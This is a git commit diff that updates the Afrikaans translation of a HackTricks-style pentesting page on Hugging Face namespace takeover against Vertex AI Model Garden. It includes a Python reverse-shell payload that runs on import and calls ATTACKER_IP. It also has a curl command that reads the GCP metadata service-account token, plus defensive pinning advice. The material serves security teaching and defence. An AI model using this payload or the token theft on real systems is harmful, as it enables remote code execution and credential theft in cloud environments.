Translated ['', 'src/pentesting-cloud/pentesting-cloud-methodology.md',

This commit is contained in:
Translator
2025-09-29 22:33:16 +00:00
parent d87579a5f8
commit a2455dd4e6
6 changed files with 354 additions and 338 deletions

View File

@@ -2,22 +2,22 @@
{{#include ../../../banners/hacktricks-training.md}}
## Senario
## Scenario
- Vertex AI Model Garden maak die direkte ontplooiing van baie Hugging Face (HF) models moontlik.
- HF model identifiers are Author/ModelName. As 'n author/org op HF verwyder word, kan dieselfde author-naam deur enigiemand weer geregistreer word. Attackers kan dan 'n repo met dieselfde ModelName op die legacy path skep.
- Pipelines, SDKs, or cloud catalogs wat slegs per naam haal (no pinning/integrity) sal die attacker-controlled repo trek. Wanneer die model ontplooi word, kan loader code vanaf daardie repo binne die Vertex AI endpoint-container uitgevoer word, wat RCE met die endpoint se permissies oplewer.
- Vertex AI Model Garden laat toe dat baie Hugging Face (HF) models direk gedeploy word.
- HF model identifiers is Author/ModelName. As n author/org op HF verwyder word, kan dieselfde author-naam deur enigiemand herregistreer word. Aanvallers kan dan n repo met dieselfde ModelName by die ou pad skep.
- Pipelines, SDKs, of cloud-kataloge wat net per naam haal (geen pinning/integrity) sal die aanvaller-beheerde repo trek. Wanneer die model gedeploy word, kan loader-code uit daardie repo binne die Vertex AI endpoint container uitgevoer word, wat RCE met die endpoint se toestemming moontlik maak.
Twee algemene takeover-gevalle op HF:
- Ownership deletion: Ou pad 404 totdat iemand die author weer registreer en dieselfde ModelName publiseer.
- Ownership transfer: HF issue 307 redirects vanaf die ou Author/ModelName na die nuwe author. As die ou author later verwyder en deur 'n attacker herregistreer word, word die redirect-ketting gebreek en die attacker se repo bedien by die legacy path.
Twee algemene oorname-gevalle op HF:
- Ownership deletion: Ou pad 404 totdat iemand die author herregistreer en dieselfde ModelName publiseer.
- Ownership transfer: HF gee 307 redirects vanaf die ou Author/ModelName na die nuwe author. As die ou author later verwyder en deur n aanvaller herregistreer word, word die redirect-ketting gebreek en dien die aanvaller se repo by die ou pad.
## Identifisering van herbruikbare namespaces (HF)
## Identifying Reusable Namespaces (HF)
- Ou author verwyder: die bladsy vir die author gee 404 terug; die model pad mag 404 teruggee totdat takeover.
- Transferred models: die ou model pad issue 307 na die nuwe owner terwyl die ou author bestaan. As die ou author later verwyder en weer geregistreer word, sal die legacy path na die attacker se repo oplos.
- Old author deleted: die bladsy vir die author gee 404 terug; model-pad kan 404 teruggee totdat daar n oorname is.
- Transferred models: die ou model-pad gee 307 terug na die nuwe eienaar terwyl die ou author nog bestaan. As die ou author later verwyder en herregistreer word, sal die ou pad na die aanvaller se repo wys.
Vinnige kontroles met curl:
Quick checks with curl:
```bash
# Check author/org existence
curl -I https://huggingface.co/<Author>
@@ -28,24 +28,24 @@ curl -I https://huggingface.co/<Author>/<ModelName>
# 307 = redirect to new owner (transfer case)
# 404 = missing (deletion case) until someone re-registers
```
## End-to-end aanvalsvloei teen Vertex AI
## Einde-tot-einde Aanvalsverloop teen Vertex AI
1) Ontdek herbruikbare model namespaces wat Model Garden as deployable gelys:
1) Ontdek herbruikbare model-naamruimtes wat Model Garden lys as deployable:
- Vind HF-modelle in Vertex AI Model Garden wat steeds as “verified deployable” vertoon.
- Verifieer op HF of die oorspronklike author uitgevee is, of die model oorgedra is en die ou author later verwyder is.
- Verifieer op HF of die oorspronklike auteur verwyder is of of die model oorgedra is en die ouer auteur later verwyder is.
2) Herregistreer die uitgevee author op HF en skep dieselfde ModelName weer.
2) Herregistreer die verwyderde auteur weer op HF en skep dieselfde ModelName opnuut.
3) Publiseer 'n kwaadwillige repo. Sluit kode in wat by die model se laai uitgevoer word. Voorbeelde wat algemeen tydens HF model load uitgevoer word:
- Side effects in __init__.py of the repo
- Aangepaste modeling_*.py of processing code wat deur config/auto_map verwys word
- Kodepade wat trust_remote_code=True in Transformers pipelines vereis
3) Publiseer 'n kwaadwillige repo. Sluit kode in wat by model load uitgevoer word. Voorbeelde wat algemeen tydens HF model load uitgevoer word:
- By-effekte in __init__.py van die repo
- Aangepaste modeling_*.py of verwerkingskode wat in config/auto_map verwys word
- Kodepaaie wat trust_remote_code=True in Transformers pipelines vereis
4) 'n Vertex AI deployment van die legacy Author/ModelName trek nou die attacker repo. Die loader word binne die Vertex AI endpoint container uitgevoer.
4) 'n Vertex AI deployment van die legacy Author/ModelName trek nou die aanvaller se repo. Die loader voer binne die Vertex AI endpoint-container uit.
5) Die payload vestig toegang vanaf die endpoint-omgewing (RCE) met die endpoint se permissies.
5) Payload vestig toegang vanaf die endpoint-omgewing (RCE) met die endpoint se toestemmings.
Example payload fragment executed on import (for demonstration only):
Voorbeeld van 'n payload-fragment wat by import uitgevoer word (slegs vir demonstrasie):
```python
# Place in __init__.py or a module imported by the model loader
import os, socket, subprocess, threading
@@ -63,43 +63,43 @@ if os.environ.get("VTX_AI","1") == "1":
threading.Thread(target=_rs, args=("ATTACKER_IP", 4444), daemon=True).start()
```
Aantekeninge
- In die werklike lewe verskil loaders. Baie Vertex AI HF integrations kloon en importeer repo modules wat in die model se config verwys word (bv. auto_map), wat code execution kan trigger. Sommige gebruiksgevalle vereis trust_remote_code=True.
- Die endpoint hardloop tipies in n toegewyde container met beperkte omvang, maar dit is n geldige aanvanklike foothold vir data-toegang en laterale beweging in GCP.
- Werklike loaders verskil. Baie Vertex AI HF-integrasies kloon en importeer repo-modules wat in die models config verwys word (bv. auto_map), wat code execution kan uitlok. Sommige gebruiksgevalle vereis trust_remote_code=True.
- Die endpoint loop tipies in 'n toegewyde container met beperkte omvang, maar dit is 'n geldige aanvanklike foothold vir data toegang en lateral movement in GCP.
## Post-Exploitation Wenke (Vertex AI Endpoint)
## Post-Exploitation Tips (Vertex AI Endpoint)
Sodra code binne die endpoint container loop, oorweeg:
- Enumereer environment variables en metadata vir credentials/tokens
- Toegang tot aangehegte storage of mounted model artifacts
- Interageer met Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistensie in die model artifact indien die platform die repo weer herlaai
- Enumereer omgewingsveranderlikes en metadata vir credentials/tokens
- Toegang tot aangehegte storage of gemonteerde model artifacts
- Interaksie met Google APIs via service account identity (Document AI, Storage, Pub/Sub, etc.)
- Persistensie in die model artifact as die platform die repo weer intrek
Enumereer instance metadata indien toeganklik (container-afhanklik):
```bash
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
```
## Verdedigende riglyne vir Vertex AI-gebruikers
## Verdedigingsriglyne vir Vertex AI-gebruikers
- Pin modelle per commit in HF loaders om stille vervanging te voorkom:
```python
from transformers import AutoModel
m = AutoModel.from_pretrained("Author/ModelName", revision="<COMMIT_HASH>")
```
- Spieël geverifieerde HF-modelle na 'n betroubare interne artefakstoor/registrasie en ontplooi van daar.
- Skandeer voortdurend codebases en configs vir hard-gekodeerde Author/ModelName wat verwyder of oorgedra is; werk na nuwe namespaces of pin per commit.
- In Model Garden, verifieer modelherkoms en die bestaan van die skrywer voordat ontplooiing plaasvind.
- Spieël geverifieerde HF-modelle na 'n betroubare interne artifact store/registry en ontplooi van daar.
- Deurlopend skandeer codebases en configs vir hard-coded Author/ModelName wat verwyder of oorgedra is; werk dit by na nuwe namespaces of pin dit per commit.
- In Model Garden, verifieer die model se herkoms en die bestaan van die author voor ontplooiing.
## Herkenningsheuristieke (HTTP)
- Verwyderde skrywer: skrywersbladsy 404; erfenis modelpad 404 tot oorname.
- Oorgedra model: erfenispad 307 na nuwe skrywer terwyl die ou skrywer nog bestaan; as die ou skrywer later verwyder en weer geregistreer word, dien die erfenispad aanvallerinhoud.
- Verwyderde author: author page 404; legacy model path 404 totdat oorneem plaasvind.
- Oorgedra model: legacy path 307 na nuwe author terwyl die ou author bestaan; as die ou author later verwyder en weer geregistreer word, bedien die legacy path aanvaller-inhoud.
```bash
curl -I https://huggingface.co/<OldAuthor>/<ModelName> | egrep "^HTTP|^location"
```
## Kruisverwysings
- Sien breër metodologie- en voorsieningskettingnotas:
- Sien die breër metodologie- en voorsieningskettingnotas:
{{#ref}}
../../pentesting-cloud-methodology.md